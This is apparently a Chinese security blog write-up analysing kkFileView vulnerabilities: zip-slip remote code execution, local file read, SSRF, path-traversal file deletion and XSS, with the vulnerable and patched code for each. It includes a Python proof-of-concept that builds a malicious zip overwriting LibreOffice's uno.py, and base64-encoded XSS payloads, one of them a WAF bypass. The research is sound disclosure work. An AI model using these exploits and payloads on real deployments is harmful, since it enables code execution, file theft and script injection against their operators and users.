https://github.com/kekingcn/kkFileView
kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览,如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等
以v3.6.0环境搭建为例
首先从dockerhub下载官方docker镜像
pull下来后执行
docker run -p 8012:8012 -p 5005:5005 -it --entrypoint /bin/bash keking/kkfileview:v3.6.0
然后手动开启远程调试,至于其他参数可以参考官方镜像的entrypoint
然后在github拉取源码
然后丢进IDEA,在配置中添加JVM远程调试,模块选择kkFileView
然后正常下断点调试即可
4.2.0 <= kkFileviw <= 4.4.0beta(最新分支不受影响)
可以任意文件上传,并且可以追加文件内容。
kkFileView在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容,从而在处理odt文件时会执行uno.py中的恶意代码。
这里官方的docker库中没看到符合的版本,这里就用vulhub的docker复现了,p牛yyds
根据这个项目可以快速复现
https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC
首先制作一个恶意zip
import zipfile
if __name__ == "__main__":
try:
binary1 = b'ph0ebus'
binary2 = b'import os\r\nos.system(\'touch /tmp/ph0ebus\')'
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
上传zip并预览,需要注意的是url的问题,由于这里在本地虚拟机跑的,docker容器访问不到192.168.182.1/24的段,于是默认的预览会连接超时,可以重新设置相关环境变量的url,也可以手动改一下参数值
进容器查看一下uno.py的文件内容,可以看到文件末尾追加了恶意代码
然后随便在office创建一个odt文件
上传并预览
成功触发格式转换,并执行uno.py的恶意代码,创建了指定文件
跟进cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle
@Override
public String filePreviewHandle(String url, Model model, FileAttribute fileAttribute) {
String fileName=fileAttribute.getName();
String filePassword = fileAttribute.getFilePassword();
boolean forceUpdatedCache=fileAttribute.forceUpdatedCache();
String fileTree = null;
// 判断文件名是否存在(redis缓存读取)
if (forceUpdatedCache || !StringUtils.hasText(fileHandlerService.getConvertedFile(fileName)) || !ConfigConstants.isCacheEnabled()) {
ReturnResponse response = DownloadUtils.downLoad(fileAttribute, fileName);
if (response.isFailure()) {
return otherFilePreview.notSupportedFile(model, fileAttribute, response.getMsg());
}
String filePath = response.getContent();
try {
fileTree = compressFileReader.unRar(filePath, filePassword,fileName);
} catch (Exception e) {
Throwable[] throwableArray = ExceptionUtils.getThrowables(e);
for (Throwable throwable : throwableArray) {
if (throwable instanceof IOException || throwable instanceof EncryptedDocumentException) {
if (e.getMessage().toLowerCase().contains(Rar_PASSWORD_MSG)) {
model.addAttribute("needFilePassword", true);
return EXEL_FILE_PREVIEW_PAGE;
}
}
}
}
if (!ObjectUtils.isEmpty(fileTree)) {
//是否保留压缩包源文件
if (ConfigConstants.getDeleteSourceFile()) {
KkFileUtils.deleteFileByPath(filePath);
}
if (ConfigConstants.isCacheEnabled()) {
// 加入缓存
fileHandlerService.addConvertedFile(fileName, fileTree);
}
}else {
return otherFilePreview.notSupportedFile(model, fileAttribute, "压缩文件密码错误! 压缩文件损坏! 压缩文件类型不受支持!");
}
} else {
fileTree = fileHandlerService.getConvertedFile(fileName);
}
model.addAttribute("fileName", fileName);
model.addAttribute("fileTree", fileTree);
return COMPRESS_FILE_PREVIEW_PAGE;
}
这里会下载demo文件下的poc.zip,然后在cn.keking.service.CompressFileReader#unRar执行解压操作
这里在释放压缩包的文件时将被压缩的文件直接与路径进行拼接并将内容写入到对应路径下,由于未对此进行过滤造成了任意文件写入
漏洞在4.4.0-beta最新版被修复
https://github.com/kekingcn/kkFileView/commit/421a2760d58ccaba4426b5e104938ca06cc49778
重构了解压逻辑,并加入了路径验证的函数
private Path getFilePathInsideArchive(ISimpleInArchiveItem item, Path folderPath) throws SevenZipException, UnsupportedEncodingException {
String insideFileName = RarUtils.getUtf8String(item.getPath());
if (RarUtils.isMessyCode(insideFileName)) {
insideFileName = new String(item.getPath().getBytes(StandardCharsets.ISO_8859_1), "gbk");
}
// 正规化路径并验证是否安全
Path normalizedPath = folderPath.resolve(insideFileName).normalize();
if (!normalizedPath.startsWith(folderPath)) {
throw new SecurityException("Unsafe path detected: " + insideFileName);
}
try {
Files.createDirectories(normalizedPath.getParent());
} catch (IOException e) {
throw new RuntimeException("Failed to create directory: " + normalizedPath.getParent(), e);
}
return normalizedPath;
}
限制了释放后的文件只能在当前目录下
kkFileView <= v3.6.0,<= 4.0.0
查看源码,路由内容如下
/**
* 根据url获取文件内容
* 当pdfjs读取存在跨域问题的文件时将通过此接口读取
*
* @param urlPath url
* @param response response
*/
@RequestMapping(value = "/getCorsFile", method = RequestMethod.GET)
public void getCorsFile(String urlPath, HttpServletResponse response) {
logger.info("下载跨域pdf文件url:{}", urlPath);
try {
URL url = WebUtils.normalizedURL(urlPath);
byte[] bytes = NetUtil.downloadBytes(url.toString());
IOUtils.write(bytes, response.getOutputStream());
} catch (IOException | GalimatiasParseException e) {
logger.error("下载跨域pdf文件异常,url:{}", urlPath, e);
}
}
可以看到是一个跨域文件读取的接口,但没有对这里的urlPath做限制,由于支持file协议导致了非预期的本地文件读取
在WebUtils类处理后,传入的file协议字符串解析为galimatias 库的 URL对象,然后通过toJavaURL方法转换为了java原生的URL对象
public static URL normalizedURL(String urlStr) throws GalimatiasParseException, MalformedURLException {
return io.mola.galimatias.URL.parse(urlStr).toJavaURL();
}
接着通过jodd.io.NetUtil#downloadBytes根据URL对象读取字节流
最后通过fr.opensagres.xdocreport.core.io.IOUtils#write方法写入到response中回显
v4.1.0版本中修复后的代码如下
/**
* 根据url获取文件内容
* 当pdfjs读取存在跨域问题的文件时将通过此接口读取
*
* @param urlPath url
* @param response response
*/
@GetMapping("/getCorsFile")
public void getCorsFile(String urlPath, HttpServletResponse response) throws IOException {
if (urlPath == null || urlPath.length() == 0){
logger.info("URL异常:{}", urlPath);
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
response.setHeader("Content-Type", "text/html; charset=UTF-8");
response.getWriter().println("NULL地址不允许预览");
return;
}
try {
urlPath = WebUtils.decodeUrl(urlPath);
} catch (Exception ex) {
logger.error(String.format(BASE64_DECODE_ERROR_MSG, urlPath),ex);
return;
}
HttpURLConnection urlcon;
InputStream inputStream = null;
if (urlPath.toLowerCase().startsWith("file:") || urlPath.toLowerCase().startsWith("file%3")) {
logger.info("读取跨域文件异常,可能存在非法访问,urlPath:{}", urlPath);
return;
}
logger.info("下载跨域pdf文件url:{}", urlPath);
if (!urlPath.toLowerCase().startsWith("ftp:")){
try {
URL url = WebUtils.normalizedURL(urlPath);
urlcon=(HttpURLConnection)url.openConnection();
urlcon.setConnectTimeout(30000);
urlcon.setReadTimeout(30000);
urlcon.setInstanceFollowRedirects(false);
if (urlcon.getResponseCode() == 302 || urlcon.getResponseCode() == 301) {
urlcon.disconnect();
url =new URL(urlcon.getHeaderField("Location"));
urlcon=(HttpURLConnection)url.openConnection();
}
if (urlcon.getResponseCode() == 404 || urlcon.getResponseCode() == 403 || urlcon.getResponseCode() == 500 ) {
logger.error("读取跨域文件异常,url:{}", urlPath);
return ;
} else {
if(urlPath.contains( ".svg")) {
response.setContentType("image/svg+xml");
}
inputStream=(url).openStream();
IOUtils.copy(inputStream, response.getOutputStream());
urlcon.disconnect();
}
} catch (IOException | GalimatiasParseException e) {
logger.error("读取跨域文件异常,url:{}", urlPath);
return ;
} finally {
IOUtils.closeQuietly(inputStream);
}
} else {
try {
URL url = WebUtils.normalizedURL(urlPath);
if(urlPath.contains(".svg")) {
response.setContentType("image/svg+xml");
}
inputStream = (url).openStream();
IOUtils.copy(inputStream, response.getOutputStream());
} catch (IOException | GalimatiasParseException e) {
logger.error("读取跨域文件异常,url:{}", urlPath);
return ;
} finally {
IOUtils.closeQuietly(inputStream);
}
}
}
在cn.keking.utils.WebUtils#decodeUrl方法进行一次base64解码
虽然我们可以通过url:前缀绕过这里的if判断
if (urlPath.toLowerCase().startsWith("file:") || urlPath.toLowerCase().startsWith("file%3")) {
logger.info("读取跨域文件异常,可能存在非法访问,urlPath:{}", urlPath);
return;
}
但是后面的逻辑是将java.net.URLConnection类型转换为java.net.HttpURLConnection,而file协议不支持这个类型转换会报错
如果能在URL url = WebUtils.normalizedURL(urlPath);处理之后将ftp:开头的urlPath,最后通过某种处理造成的差异转换为file协议,即可在else部分调用java.net.URL#openStream成功绕过,但目前只是一个想法,实际并未发现这样的差异
而像gopher等协议,属于是galimatias 库的 URL类支持该协议而 Java8 原生的URL类不认得(在jdk8版本以后被阉割了,jdk7高版本虽然存在,但是需要设置)
https://bugzilla.redhat.com/show_bug.cgi?id=865541
kkFileView <= v3.6.0, <= v4.4.0-beta
kkFileView <= 3.6.0, <= 4.0.0
4.1.0 <= kkFileView <= 4.4.0-beta
/getCorsFile?urlPath=aHR0cHM6Ly93d3cuYmFpZHUuY29tLw==
根据上面的分析也很容易理解为什么存在SSRF,4.1.0在修复任意文件读取漏洞的时候只对file协议做了一定过滤,而HTTP协议和HTTPS协议并未受影响
经过尝试4.4.0-beta也是能SSRF的,
但是官方给的预览网站无法成功,估计是某个配置项可以配置
https://github.com/kekingcn/kkFileView/issues/392
比如这个可以限制允许预览的本地文件夹
https://github.com/kekingcn/kkFileView/pull/309/commits/9d65c999e5e7a98f9e68f76757977fefa13b72ac
kkFileView == v4.0.0 (仅在windows环境下成功)
创建一个目录用于存放上传的文件,并在配置项中指定这个目录
创建在目录下创建一个poc.txt用于检验目录成功穿越(正常只能删除demo目录下的文件)
然后GET请求/deleteFile?fileName=demo%2F..\poc.txt
可以看到文件成功被删除
非常简单的锁定路由
@RequestMapping(value = "deleteFile", method = RequestMethod.GET)
public String deleteFile(String fileName) throws JsonProcessingException {
if (fileName.contains("/")) {
fileName = fileName.substring(fileName.lastIndexOf("/") + 1);
}
File file = new File(fileDir + demoPath + fileName);
logger.info("删除文件:{}", file.getAbsolutePath());
if (file.exists() && !file.delete()) {
logger.error("删除文件【{}】失败,请检查目录权限!",file.getPath());
}
return new ObjectMapper().writeValueAsString(ReturnResponse.success());
}
可以看到首先会对传入的fileName参数进行处理,只保留最后一个/后的内容,但Windows支持\路径分隔符,于是可以利用..\目录穿越,从而达到任意文件删除的危害
在v4.1.0的代码中加入了黑名单过滤
@GetMapping("/deleteFile")
public ReturnResponse deleteFile(String fileName) {
if (fileName == null || fileName.length() == 0) {
return ReturnResponse.failure("文件名为空,删除失败!");
}
try {
fileName = URLDecoder.decode(fileName, StandardCharsets.UTF_8.name());
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
if (fileName.contains("/")) {
fileName = fileName.substring(fileName.lastIndexOf("/") + 1);
}
if (KkFileUtils.isIllegalFileName(fileName)) {
return ReturnResponse.failure("非法文件名,删除失败!");
}
File file = new File(fileDir + demoPath + fileName);
logger.info("删除文件:{}", file.getAbsolutePath());
if (file.exists() && !file.delete()) {
String msg = String.format("删除文件【%s】失败,请检查目录权限!", file.getPath());
logger.error(msg);
return ReturnResponse.failure(msg);
}
return ReturnResponse.success();
}
private static final List illegalFileStrList = new ArrayList<>();
static {
illegalFileStrList.add("../");
illegalFileStrList.add("./");
illegalFileStrList.add("..\\");
illegalFileStrList.add(".\\");
illegalFileStrList.add("\\..");
illegalFileStrList.add("\\.");
illegalFileStrList.add("..");
illegalFileStrList.add("...");
}
// 省略中间的代码
/**
* 检查文件名是否合规
* @param fileName 文件名
* @return 合规结果,true:不合规,false:合规
*/
public static boolean isIllegalFileName(String fileName){
for (String str: illegalFileStrList){
if(fileName.contains(str)){
return true;
}
}
return false;
}
过滤的还是非常严格的,直接给堵死了
/picturesPreview kkFileView <= 4.1.0
/onlinePreview kkFileView <= 4.1.0
第一处
/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
第二处
/picturesPreview?urls=&currentUrl=Iik7YWxlcnQoIjExMQ==
绕过了个WAF,记录一下
/picturesPreview?urls=&currentUrl=PC9wPjwvc3Bhbj48L3N0eWxlICYjMzI7PjxzY3JpcHQgJiMzMjsgOi0oPi8qKi9hbGVydCg3NzYpLyoqLzwvc2NyaXB0ICYjMzI7IDotKDxzcGFuPjxwPg%3d%3d
第三处
/onlinePreview?url=aHR0cDovLyI%2BPHN2Zy9vbmxvYWQ9IndpbmRvdy5vbmVycm9yPWV2YWw7dGhyb3cnPWFsZXJ0XHgyODFceDI5JzsiPi90ZXN0LnBuZw%3D%3D
/picturesPreview
可以看到这里将传入的urls进行base64解码后添加到了model中
而全局用了freemarker模板渲染,未经处理直接拼接到了html中
很明显存在XSS缺陷。currentUrl也是类似这样,可以拼接像");alert("111一样闭合,从而执行任意js代码
/onlinePreview
这个稍微复杂一点,没那么明显
@GetMapping( "/onlinePreview")
public String onlinePreview(String url, Model model, HttpServletRequest req) {
if (url == null || url.length() == 0){
logger.info("URL异常:{}", url);
return otherFilePreview.notSupportedFile(model, "NULL地址不允许预览");
}
String fileUrl;
try {
fileUrl = WebUtils.decodeUrl(url);
} catch (Exception ex) {
String errorMsg = String.format(BASE64_DECODE_ERROR_MSG, "url");
return otherFilePreview.notSupportedFile(model, errorMsg);
}
FileAttribute fileAttribute = fileHandlerService.getFileAttribute(fileUrl, req);
model.addAttribute("file", fileAttribute);
FilePreview filePreview = previewFactory.get(fileAttribute);
logger.info("预览文件url:{},previewType:{}", fileUrl, fileAttribute.getType());
return filePreview.filePreviewHandle(fileUrl, model, fileAttribute);
}
首先对传入的参数url进行Base64解码,然后跟进cn.keking.service.FileHandlerService#getFileAttribute方法,这里这个方法并不是漏洞点,只需要让传入的参数不会报错提前退出就行
/**
* 获取文件属性
*
* @param url url
* @return 文件属性
*/
public FileAttribute getFileAttribute(String url, HttpServletRequest req) {
FileAttribute attribute = new FileAttribute();
String suffix;
FileType type;
String fileName;
String fullFileName = WebUtils.getUrlParameterReg(url, "fullfilename");
if (StringUtils.hasText(fullFileName)) {
fileName = fullFileName;
type = FileType.typeFromFileName(fullFileName);
suffix = KkFileUtils.suffixFromFileName(fullFileName);
} else {
fileName = WebUtils.getFileNameFromURL(url);
type = FileType.typeFromUrl(url);
suffix = WebUtils.suffixFromUrl(url);
}
if (url.contains("?fileKey=")) {
attribute.setSkipDownLoad(true);
}
attribute.setType(type);
attribute.setName(fileName);
attribute.setSuffix(suffix);
url = WebUtils.encodeUrlFileName(url);
attribute.setUrl(url);
if (req != null) {
String officePreviewType = req.getParameter("officePreviewType");
String fileKey = WebUtils.getUrlParameterReg(url,"fileKey");
if (StringUtils.hasText(officePreviewType)) {
attribute.setOfficePreviewType(officePreviewType);
}
if (StringUtils.hasText(fileKey)) {
attribute.setFileKey(fileKey);
}
String tifPreviewType = req.getParameter("tifPreviewType");
if (StringUtils.hasText(tifPreviewType)) {
attribute.setTifPreviewType(tifPreviewType);
}
String filePassword = req.getParameter("filePassword");
if (StringUtils.hasText(filePassword)) {
attribute.setFilePassword(filePassword);
}
String userToken = req.getParameter("userToken");
if (StringUtils.hasText(userToken)) {
attribute.setUserToken(userToken);
}
}
return attribute;
}
这里报错的主要影响因素在于WebUtils.encodeUrlFileName这个方法的处理,于是构造一个http://xxxxxxx/test.png即可
/**
* 对url中的文件名进行UTF-8编码
*
* @param url url
* @return 文件名编码后的url
*/
public static String encodeUrlFileName(String url) {
String encodedFileName;
String fullFileName = WebUtils.getUrlParameterReg(url, "fullfilename");
if (fullFileName != null && fullFileName.length() > 0) {
try {
encodedFileName = URLEncoder.encode(fullFileName, "UTF-8");
} catch (UnsupportedEncodingException e) {
return null;
}
String noQueryUrl = url.substring(0, url.indexOf("?"));
String parameterStr = url.substring(url.indexOf("?"));
parameterStr = parameterStr.replaceFirst(fullFileName, encodedFileName);
return noQueryUrl + parameterStr;
}
String noQueryUrl = url.substring(0, url.contains("?") ? url.indexOf("?") : url.length());
int fileNameStartIndex = noQueryUrl.lastIndexOf('/') + 1;
int fileNameEndIndex = noQueryUrl.lastIndexOf('.');
try {
encodedFileName = URLEncoder.encode(noQueryUrl.substring(fileNameStartIndex, fileNameEndIndex), "UTF-8");
} catch (UnsupportedEncodingException e) {
return null;
}
return url.substring(0, fileNameStartIndex) + encodedFileName + url.substring(fileNameEndIndex);
}
回到主逻辑,previewFactory.get(fileAttribute)会获取得到的文件属性,并分配对应文件类型的预览处理器,这里的处理方式应该是工厂模式的设计思想
我们需要利用的预览处理和前面两处XSS漏洞一样,都是利用图片处理的模板,我们前面传入了形如http://xxxxxxx/test.png的值,于是可以让文件属性的类型为PICTURE
从而使得最后交由cn.keking.service.impl.PictureFilePreviewImpl#filePreviewHandle进行处理
@Override
public String filePreviewHandle(String url, Model model, FileAttribute fileAttribute) {
List imgUrls = new ArrayList<>();
imgUrls.add(url);
String fileKey = fileAttribute.getFileKey();
List zipImgUrls = fileHandlerService.getImgCache(fileKey);
if (!CollectionUtils.isEmpty(zipImgUrls)) {
imgUrls.addAll(zipImgUrls);
}
// 不是http开头,浏览器不能直接访问,需下载到本地
if (url != null && !url.toLowerCase().startsWith("http")) {
ReturnResponse response = DownloadUtils.downLoad(fileAttribute, null);
if (response.isFailure()) {
return otherFilePreview.notSupportedFile(model, fileAttribute, response.getMsg());
} else {
String file = fileHandlerService.getRelativePath(response.getContent());
imgUrls.clear();
imgUrls.add(file);
model.addAttribute("imgUrls", imgUrls);
model.addAttribute("currentUrl", file);
}
} else {
model.addAttribute("imgUrls", imgUrls);
model.addAttribute("currentUrl", url);
}
return PICTURE_FILE_PREVIEW_PAGE;
}
这里就和前面差不多了,传入得url值不经过滤或其他处理的直接传入了模板中,导致了XSS缺陷
v4.2.0中修复后/picturesPreview的代码为
@GetMapping( "/picturesPreview")
public String picturesPreview(String urls, Model model, HttpServletRequest req) {
String fileUrls;
try {
fileUrls = WebUtils.decodeUrl(urls);
// 防止XSS攻击
fileUrls = KkFileUtils.htmlEscape(fileUrls);
} catch (Exception ex) {
String errorMsg = String.format(BASE64_DECODE_ERROR_MSG, "urls");
return otherFilePreview.notSupportedFile(model, errorMsg);
}
logger.info("预览文件url:{},urls:{}", fileUrls, urls);
// 抽取文件并返回文件列表
String[] images = fileUrls.split("\\|");
List imgUrls = Arrays.asList(images);
model.addAttribute("imgUrls", imgUrls);
String currentUrl = req.getParameter("currentUrl");
if (StringUtils.hasText(currentUrl)) {
String decodedCurrentUrl = new String(Base64.decodeBase64(currentUrl));
decodedCurrentUrl = KkFileUtils.htmlEscape(decodedCurrentUrl); // 防止XSS攻击
model.addAttribute("currentUrl", decodedCurrentUrl);
} else {
model.addAttribute("currentUrl", imgUrls.get(0));
}
return PICTURE_FILE_PREVIEW_PAGE;
}
可以看到,对传入前端模板的参数都进行了HTML实体编码
/onlinePreview处的修复如下
也是加入了HTML实体编码
总的来说,漏洞原理都不算太复杂,如果分析的有误,轻喷